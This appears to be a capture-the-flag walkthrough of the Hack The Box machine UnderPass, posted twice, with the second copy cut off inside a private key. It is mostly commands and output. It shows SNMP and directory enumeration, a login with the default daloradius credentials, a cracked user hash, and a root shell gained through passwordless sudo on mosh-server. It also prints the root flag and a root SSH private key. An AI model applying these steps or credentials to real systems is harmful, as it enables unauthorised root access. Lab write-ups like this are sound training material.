This one was a very straight forward easy, but if you didn't get something here ya go
If I copied something over from my notes wrong lemme know
[ nmap ]
80
22
typical easy 80 and 22 but nothing on 80.....yet
# NEVER FORGET UDP SCANS!!!!!
68/udp open|filtered dhcpc
161/udp open snmp
1701/udp open|filtered L2TP
1812/udp open|filtered radius
1813/udp open|filtered radacct
16779/udp open|filtered unknown
18666/udp open|filtered unknown
21576/udp open|filtered unknown
21948/udp open|filtered unknown
30697/udp open|filtered unknown
33355/udp open|filtered unknown
39714/udp open|filtered unknown
49159/udp open|filtered unknown
49168/udp open|filtered unknown
[ snmp ]
┌──(kali㉿Senbonzakura)-[~]
└─$ snmpwalk -v 2c -c public underpass.htb
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (169103) 0:28:11.03
iso.3.6.1.2.1.1.4.0 = STRING: "[email protected]"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (170799) 0:28:27.99
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E8 0C 15 13 1E 2C 00 2B 00 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 217
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
### WE GOT A daloradius server!
//and a potential user
// SoooFUZZ /daloradius
┌──(kali㉿Senbonzakura)-[~/under]
└─$ ffuf -u "http://underpass.htb/daloradius/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php
________________________________________________
app [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 220ms]
library [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 172ms]
doc [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 132ms]
contrib [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 133ms]
setup [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 150ms]
[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 133ms]
.php [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 133ms]
LICENSE [Status: 200, Size: 18011, Words: 3039, Lines: 341, Duration: 138ms]
// Okay the /app is interesting fuzz that...
//Okay we got something
┌──(kali㉿Senbonzakura)-[~/under]
└─$ ffuf -u "http://underpass.htb/daloradius/app/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php
common [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 138ms]
users [Status: 301, Size: 329, Words: 20, Lines: 10, Duration: 137ms]
[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 164ms]
operators [Status: 301, Size: 333, Words: 20, Lines: 10, Duration: 138ms]
/// operators is kewl...
┌──(kali㉿Senbonzakura)-[~/under]
└─$ ffuf -u "http://underpass.htb/daloradius/app/operators/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php
________________________________________________
login.php [Status: 200, Size: 2763, Words: 349, Lines: 98, Duration: 166ms] <-------------- LOGIN!
include [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 141ms]
static [Status: 301, Size: 340, Words: 20, Lines: 10, Duration: 128ms]
lang [Status: 301, Size: 338, Words: 20, Lines: 10, Duration: 144ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3784ms]
library [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 131ms]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 149ms]
notifications [Status: 301, Size: 347, Words: 20, Lines: 10, Duration: 130ms]
.php [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 131ms]
:::::: OKAY EASY BOX default creds from daloradius setup...it pops up as first result in google okay?
DEFAULT daloradius credentials!!!!
[ Google ]
"After finishing all the steps above, we can verify the results by visiting: http://freeradius-ip/daloradius/ and the default username/password is administrator/radius"
administrator:radius
//now navigate to management -->> list users
svcMosh 412DD4759978ACFCC81DEAB01B382403
//crack that hash in crackstation....
/ * svcMosh:underwaterfriends */
┌──(kali㉿Senbonzakura)-[~]
└─$ ssh -vl svcMosh underpass.htb
OpenSSH_9.9p1 Debian-3, OpenSSL 3.3.2 3 Sep 2024
svcMosh@underpass:~$ id
uid=1002(svcMosh) gid=1002(svcMosh) groups=1002(svcMosh)
:::::::::::::::::::::::::::::::::: [ user | svc Mosh ] :::::::::::::::::::::::::::::::::::
[SUIDS]
svcMosh@underpass:~$ find / -perm -4000 2>/dev/null
//Nothing!!!
[ sudo ]
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
//read Mosh docs
::::::::::::::::::::::::::::::::::::::::: [ The mosh docs ]::::::::::::::::::::::::::::::::::::::::::::::
https://mosh.org/#usage
<snip>-------------------------------------------------------</snip>
Q: How do I run the mosh client and server separately?
If the mosh wrapper script isn't working for you, you can try running the mosh-client and mosh-server programs separately to form a connection. This can be a useful debugging technique.
1. Log in to the remote host, and run mosh-server.
It will give output like:
$ mosh-server
MOSH CONNECT 60004 4NeCCgvZFe2RnPgrcU1PQw
mosh-server (mosh 1.1.3)
Copyright 2012 Keith Winstein <[email protected]>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 30261]
2. On the local host, run:
$ MOSH_KEY=key mosh-client remote-IP remote-PORT <<--------------BOOOOM WE WANT THIS
where "key" is the 22-byte string printed by mosh-server (in this example, "4NeCCgvZFe2RnPgrcU1PQw"),
"remote-PORT" is the port number given by the server (60004 in this case), and "remote-IP" is the IP address of the server.
<snip>---------------------------------------------------------------</snip>
// We have a local port but it should do, why not try at least?
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
//so for root we need to do:
// run the command sudo -l returns to get a mosh-server started as root,
svcMosh@underpass:~$ sudo /usr/bin/mosh-server
MOSH CONNECT 60001 OYKp9imPSrg0OLk/1CWbSw
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <[email protected]>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 3622]
-------------------------------------------------
/* MOSH_KEY=[ key you got from sudo ] mosh-client 127.0.0.1 [ port you get from sudo ] */
$ MOSH_KEY=OYKp9imPSrg0OLk/1CWbSw mosh-client 127.0.0.1 6001
# The last digit might change to 6000x if you fucks it up
// if you fuck up connecting restart and try again.
svcMosh@underpass:~$ MOSH_KEY=OYKp9imPSrg0OLk/1CWbSw mosh-client 127.0.0.1 60001
//drops into a root shell-deally
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Dec 22 12:51:36 AM UTC 2024
System load: 0.0 Processes: 226
Usage of /: 89.1% of 3.75GB Users logged in: 0
Memory usage: 13% IPv4 address for eth0: 10.129.77.236
Swap usage: 0%
=> / is using 89.1% of 3.75GB
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
root@underpass:~# id
uid=0(root) gid=0(root) groups=0(root)
root@underpass:~# cat /root/root.txt
fee40246796f688874df2a7afc25ab64
root@underpass:~#
root@underpass:~# cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
root@underpass:~#
# pwnd!
(get the permissions right or ssh will whinge)
┌──(kali㉿Senbonzakura)-[~/under]
└─$ ssh -i id_rsa -vl root underpass.htb
Last login: Thu Dec 19 13:47:27 2024
root@underpass:~# id
uid=0(root) gid=0(root) groups=0(root)
root@underpass:~#
#pwnd! again!
// I would have called the box "Moshpit" but that is me
If I copied something over from my notes wrong lemme know
[ nmap ]
80
22
typical easy 80 and 22 but nothing on 80.....yet
# NEVER FORGET UDP SCANS!!!!!
68/udp open|filtered dhcpc
161/udp open snmp
1701/udp open|filtered L2TP
1812/udp open|filtered radius
1813/udp open|filtered radacct
16779/udp open|filtered unknown
18666/udp open|filtered unknown
21576/udp open|filtered unknown
21948/udp open|filtered unknown
30697/udp open|filtered unknown
33355/udp open|filtered unknown
39714/udp open|filtered unknown
49159/udp open|filtered unknown
49168/udp open|filtered unknown
[ snmp ]
┌──(kali㉿Senbonzakura)-[~]
└─$ snmpwalk -v 2c -c public underpass.htb
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (169103) 0:28:11.03
iso.3.6.1.2.1.1.4.0 = STRING: "[email protected]"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (170799) 0:28:27.99
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E8 0C 15 13 1E 2C 00 2B 00 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 217
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
### WE GOT A daloradius server!
//and a potential user
// SoooFUZZ /daloradius
┌──(kali㉿Senbonzakura)-[~/under]
└─$ ffuf -u "http://underpass.htb/daloradius/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php
________________________________________________
app [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 220ms]
library [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 172ms]
doc [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 132ms]
contrib [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 133ms]
setup [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 150ms]
[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 133ms]
.php [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 133ms]
LICENSE [Status: 200, Size: 18011, Words: 3039, Lines: 341, Duration: 138ms]
// Okay the /app is interesting fuzz that...
//Okay we got something
┌──(kali㉿Senbonzakura)-[~/under]
└─$ ffuf -u "http://underpass.htb/daloradius/app/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php
common [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 138ms]
users [Status: 301, Size: 329, Words: 20, Lines: 10, Duration: 137ms]
[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 164ms]
operators [Status: 301, Size: 333, Words: 20, Lines: 10, Duration: 138ms]
/// operators is kewl...
┌──(kali㉿Senbonzakura)-[~/under]
└─$ ffuf -u "http://underpass.htb/daloradius/app/operators/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php
________________________________________________
login.php [Status: 200, Size: 2763, Words: 349, Lines: 98, Duration: 166ms] <-------------- LOGIN!
include [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 141ms]
static [Status: 301, Size: 340, Words: 20, Lines: 10, Duration: 128ms]
lang [Status: 301, Size: 338, Words: 20, Lines: 10, Duration: 144ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3784ms]
library [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 131ms]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 149ms]
notifications [Status: 301, Size: 347, Words: 20, Lines: 10, Duration: 130ms]
.php [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 131ms]
:::::: OKAY EASY BOX default creds from daloradius setup...it pops up as first result in google okay?
DEFAULT daloradius credentials!!!!
[ Google ]
"After finishing all the steps above, we can verify the results by visiting: http://freeradius-ip/daloradius/ and the default username/password is administrator/radius"
administrator:radius
//now navigate to management -->> list users
svcMosh 412DD4759978ACFCC81DEAB01B382403
//crack that hash in crackstation....
/ * svcMosh:underwaterfriends */
┌──(kali㉿Senbonzakura)-[~]
└─$ ssh -vl svcMosh underpass.htb
OpenSSH_9.9p1 Debian-3, OpenSSL 3.3.2 3 Sep 2024
svcMosh@underpass:~$ id
uid=1002(svcMosh) gid=1002(svcMosh) groups=1002(svcMosh)
:::::::::::::::::::::::::::::::::: [ user | svc Mosh ] :::::::::::::::::::::::::::::::::::
[SUIDS]
svcMosh@underpass:~$ find / -perm -4000 2>/dev/null
//Nothing!!!
[ sudo ]
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
//read Mosh docs
::::::::::::::::::::::::::::::::::::::::: [ The mosh docs ]::::::::::::::::::::::::::::::::::::::::::::::
https://mosh.org/#usage
<snip>-------------------------------------------------------</snip>
Q: How do I run the mosh client and server separately?
If the mosh wrapper script isn't working for you, you can try running the mosh-client and mosh-server programs separately to form a connection. This can be a useful debugging technique.
1. Log in to the remote host, and run mosh-server.
It will give output like:
$ mosh-server
MOSH CONNECT 60004 4NeCCgvZFe2RnPgrcU1PQw
mosh-server (mosh 1.1.3)
Copyright 2012 Keith Winstein <[email protected]>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 30261]
2. On the local host, run:
$ MOSH_KEY=key mosh-client remote-IP remote-PORT <<--------------BOOOOM WE WANT THIS
where "key" is the 22-byte string printed by mosh-server (in this example, "4NeCCgvZFe2RnPgrcU1PQw"),
"remote-PORT" is the port number given by the server (60004 in this case), and "remote-IP" is the IP address of the server.
<snip>---------------------------------------------------------------</snip>
// We have a local port but it should do, why not try at least?
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
//so for root we need to do:
// run the command sudo -l returns to get a mosh-server started as root,
svcMosh@underpass:~$ sudo /usr/bin/mosh-server
MOSH CONNECT 60001 OYKp9imPSrg0OLk/1CWbSw
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <[email protected]>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 3622]
-------------------------------------------------
/* MOSH_KEY=[ key you got from sudo ] mosh-client 127.0.0.1 [ port you get from sudo ] */
$ MOSH_KEY=OYKp9imPSrg0OLk/1CWbSw mosh-client 127.0.0.1 6001
# The last digit might change to 6000x if you fucks it up
// if you fuck up connecting restart and try again.
svcMosh@underpass:~$ MOSH_KEY=OYKp9imPSrg0OLk/1CWbSw mosh-client 127.0.0.1 60001
//drops into a root shell-deally
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Dec 22 12:51:36 AM UTC 2024
System load: 0.0 Processes: 226
Usage of /: 89.1% of 3.75GB Users logged in: 0
Memory usage: 13% IPv4 address for eth0: 10.129.77.236
Swap usage: 0%
=> / is using 89.1% of 3.75GB
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
root@underpass:~# id
uid=0(root) gid=0(root) groups=0(root)
root@underpass:~# cat /root/root.txt
fee40246796f688874df2a7afc25ab64
root@underpass:~#
root@underpass:~# cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAq8CL3ulKxWeppiNTol8bO5gDXZJKBFAq1tSxLugC+nHSvyohwwBc
YrJbXBsu6DT5ya39438SiRU35Rr2yCYaUp90D74WHmPJHL04uvtWeXsHrHLj2FHtjBmd8g
awSUN6lP82WHT2VpwmZ8StYAgu7Kq1c2yBD5AWxslu5PfEbmcfzouUlFG2WO1G5C53qBXn
GmiBkSPHHxiUcPXndEEmZqxfAX+SPWM0fCWaOyHGLuvhlTUKR3d7PXv4Gv9xTC6eg2qTEf
rJzfMwLUG/EyiV0rzdrTEWLW6T6W8qFNxuStbHGL6KFnyAzngU30rBfb5UWhzwiBuDR6rG
h6ywM8hUdL921FLnOlPhtoEObPEDQipfPkrFPoj5XGE5MfzPq4FO7Wsh0hm05gF/SAXiYI
GqL+T0wDbYuyRtS/h0m4+yK9wmtQafD5a4hWAgorp9PznFZ2u4qryHmc8Zyql1OgxuUzvt
ggofypblfbOnpsLk/lAmKUNhapA9zAsQVC9esHubAAAFiIMKK6KDCiuiAAAAB3NzaC1yc2
EAAAGBAKvAi97pSsVnqaYjU6JfGzuYA12SSgRQKtbUsS7oAvpx0r8qIcMAXGKyW1wbLug0
+cmt/eN/EokVN+Ua9sgmGlKfdA++Fh5jyRy9OLr7Vnl7B6xy49hR7YwZnfIGsElDepT/Nl
h09lacJmfErWAILuyqtXNsgQ+QFsbJbuT3xG5nH86LlJRRtljtRuQud6gV5xpogZEjxx8Y
lHD153RBJmasXwF/kj1jNHwlmjshxi7r4ZU1Ckd3ez17+Br/cUwunoNqkxH6yc3zMC1Bvx
MoldK83a0xFi1uk+lvKhTcbkrWxxi+ihZ8gM54FN9KwX2+VFoc8Igbg0eqxoessDPIVHS/
dtRS5zpT4baBDmzxA0IqXz5KxT6I+VxhOTH8z6uBTu1rIdIZtOYBf0gF4mCBqi/k9MA22L
skbUv4dJuPsivcJrUGnw+WuIVgIKK6fT85xWdruKq8h5nPGcqpdToMblM77YIKH8qW5X2z
p6bC5P5QJilDYWqQPcwLEFQvXrB7mwAAAAMBAAEAAAGANs/NE4eaQCOUBZxSjYgSldMuh8
cu7e9zrHnWTeTnRmva2P0mJyhPU4QeGefm8V4utUlctCSSksL9wpT3WuqmDeYrUPbV8j7g
KNbOawXZFA3KZiOISTnkOIjYWiv+SHNLhI9qFZLGJt/Qdd9TgUk7SHY2UC65hXDzg983D8
Vun9kzUmRDN45YRkr7C8k0kKTkyw29A8fKPUdH4EDp67T6/1tVOpIu5n5pepE5hlOB/uly
